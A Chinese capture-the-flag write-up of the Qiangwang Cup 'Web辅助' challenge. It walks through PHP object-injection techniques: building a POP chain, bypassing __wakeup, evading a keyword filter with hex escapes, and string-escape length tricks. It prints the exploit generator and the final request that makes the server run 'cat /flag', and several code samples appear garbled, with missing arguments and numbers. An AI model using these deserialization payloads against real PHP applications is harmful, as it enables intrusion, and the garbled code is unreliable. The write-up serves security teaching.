本文首发于“合天智汇”公众号 作者:Ch3ng

这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程

题目源码

index.php

获取我们传入的username和password,并将其序列化储存

...
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}
...

common.php

这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方

<?php
function read($data){
$data = str_replace('\0*\0', chr()."*".chr(), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr()."*".chr(), '\0*\0', $data); return $data;
} function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>

play.php

在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作

...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...

class.php

这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag

<?php
class player{
protected $user;
protected $pass;
protected $admin; public function __construct($user, $pass, $admin = ){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
} public function get_admin(){
$this->admin = ;
return $this->admin ;
}
} class topsolo{
protected $name; public function __construct($name = 'Riven'){
$this->name = $name;
} public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
} public function __destruct(){
$this->TP();
} } class midsolo{
protected $name; public function __construct($name){
$this->name = $name;
} public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
} public function __invoke(){
$this->Gank();
} public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
} class jungle{
protected $name = ""; public function __construct($name = "Lee Sin"){
$this->name = $name;
} public function KS(){
system("cat /flag");
} public function __toString(){
$this->KS();
return "";
} }
?>

涉及考点

  • POP链的构造
  • __wakeup的绕过
  • 关键字“name”检测绕过
  • 反序列化字符串逃逸

题目出现的魔术方法

  • __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法
  • __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
  • wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用
  • invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
  • __toString():用于一个类被当成字符串时应怎样回应

POP链

POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来

POP链的构造

这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在midsolo中,invoke()会触发Gank方法,执行了stristr操作。

我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如:

<?php
class test{
function __toString(){
echo "__toString()";
return "";
}
}
$a = new test();
echo $a; //输出:__toString()

在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下:

<?php
class test{
function __toString(){
echo "__toString()";
return "";
}
}
$a = new test();
stristr($a,'name'); //输出__toString()

所以整个POP链已经构成了

topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')

即:

<?php

class topsolo{
protected $name; public function __construct($name = 'Riven'){
$this->name = $name;
}
} class midsolo{
protected $name; public function __construct($name){
$this->name = $name;
}
} class jungle{
protected $name = ""; }
$a = new topsolo(new midsolo(new jungle()));
$exp = serialize($a);
var_dump(urlencode($exp));
?>
输出:
O%3A7%3A%22topsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A7%3A%22midsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A6%3A%22jungle%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3Bs%3A0%3A%%%3B%7D%7D%7D

在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2

O%3A7%3A%22topsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A7%3A%22midsolo%%3A2%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A6%3A%22jungle%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3Bs%3A0%3A%%%3B%7D%7D%7D

O::"topsolo"::{s::"\000*\000name";O::"midsolo"::{s::"\000*\000name";O::"jungle"::{s::"\000*\000name";s::"";}}}

关键字“name”检测绕过

···
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
···

这里使用十六进制绕过\6e\61\6d\65,并将s改为S

O%3A7%3A%22topsolo%%3A1%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3BO%3A7%3A%22midsolo%%3A2%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3BO%3A6%3A%22jungle%%3A1%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3Bs%3A0%3A%%%3B%7D%7D%7D

字符串逃逸

访问index.php,传入数值,得到序列化内容

O::"player"::{s::"\0*\0user";s::"";s::"\0*\0pass";s::"O:7:"topsolo":1:{S:7:"\*\\6e\\6d\";O:7:"midsolo":2:{S:7:"\*\\6e\\6d\";O:6:"jungle":1:{S:7:"\*\\6e\\6d\";s:0:"";}}}";s::"\0*\0admin";i:;}

可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来

···
function read($data){
$data = str_replace('\0*\0', chr()."*".chr(), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr()."*".chr(), '\0*\0', $data); return $data;
}
···

在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username

username=\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\

在password中补上被吃掉的pass部分,构造password的提交内容

password=C";s:7:"\*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

最后提交

?username=\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\&password=C";s:7:"\*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

然后访问play.php即可得到flag

实验推荐

PHP反序列化漏洞实验

https://sourl.cn/NRvGJs

通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

细说强网杯Web辅助的更多相关文章

  1. 强网杯web之假的反序列化漏洞

    说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...

  2. 2019强网杯web upload writeup及关键思路

    <?phpnamespace app\web\controller; class Profile{    public $checker;    public $filename_tmp;    ...

  3. 2019强网杯web upload分析(pop链)

    参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...

  4. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  5. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  6. 细说Asp.Net Web API消息处理管道(二)

    在细说Asp.Net Web API消息处理管道这篇文章中,通过翻看源码和实例验证的方式,我们知道了Asp.Net Web API消息处理管道的组成类型以及Asp.Net Web API是如何创建消息 ...

  7. 第二届强网杯-simplecheck

    这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...

  8. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  9. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

随机推荐

  1. yield 复习

    1.协程,微型进程: yield 生成器 yield 会保存声明的变量,可以进行迭代 使用 接收函数返回的对象.__next__() next(接收函数返回的对象) .send() 方法 传递给函数中 ...

  2. PHP sort() 函数

    实例 对数组 $cars 中的元素按字母进行升序排序: <?php $cars=array("Volvo","BMW","Toyota" ...

  3. PHP jdtofrench() 函数

    ------------恢复内容开始------------ 实例 把法国共和历法的日期转换为儒略日计数,然后再转换回法国共和历法的日期: <?php$jd=frenchtojd(3,3,14) ...

  4. PHP popen() 函数

    定义和用法 popen() 函数使用 command 参数打开进程文件指针. 如果出错,该函数返回 FALSE. 语法 popen(command,mode) 参数 描述 command 必需.规定要 ...

  5. zabbix配置钉钉机器人告警

    目录 zabbix配置钉钉机器人告警 1. 在钉钉中创建群聊,在群里面添加自定义机器人 2. 配置钉钉告警脚本 3. 配置脚本告警 3.1 创建媒介 3.2 为用户添加对应媒介 3.3 创建动作 4. ...

  6. 【BZOJ1471】不相交路径 题解(拓扑排序+动态规划+容斥原理)

    题目描述 在有向无环图上给你两个起点和终点分别为$a,b,c,d$.问有几种路径方案使得能从$a$走到$b$的同时能从$c$走到$d$,且两个路径没有交点. $1\leq n\leq 200,1\le ...

  7. json&pickle&shelve

    之前我们学习过用eval内置方法可以将一个字符串转成python对象,不过,eval方法是有局限性的,对于普通的数据类型,json.loads和eval都能用,但遇到特殊类型的时候,eval就不管用了 ...

  8. 关于bin文件写法及导入

    正常的python项目,打开看到的应该是一个个文件包,不同的功能模块放在不同的包里面: 通常是bin目录下的bin.py是程序的入口,下面的bin.py如何导入main.py并执行呢:

  9. 在Swoole上加速Laravel应用

    Swoole是用于PHP的生产级异步编程框架.它是用纯C语言编写的PHP扩展,它使PHP开发人员可以在PHP中编写高性能,可伸缩的并发TCP,UDP,Unix套接字,HTTP,WebSocket服务, ...

  10. Meow 攻击会删除不安全(开放的)的Elasticsearch(及MongoDB) 索引,然后建一堆以Meow结尾的奇奇怪怪的索引(如:m3egspncll-meow)

    07月29日,早上照例一来,先连接Elasticsearch查看日志[禁止转载,by @CoderBaby],结果,咦,什么情况,相关索引被删除了,产生了一堆以Meow开头的奇奇怪怪的索引,如下图: ...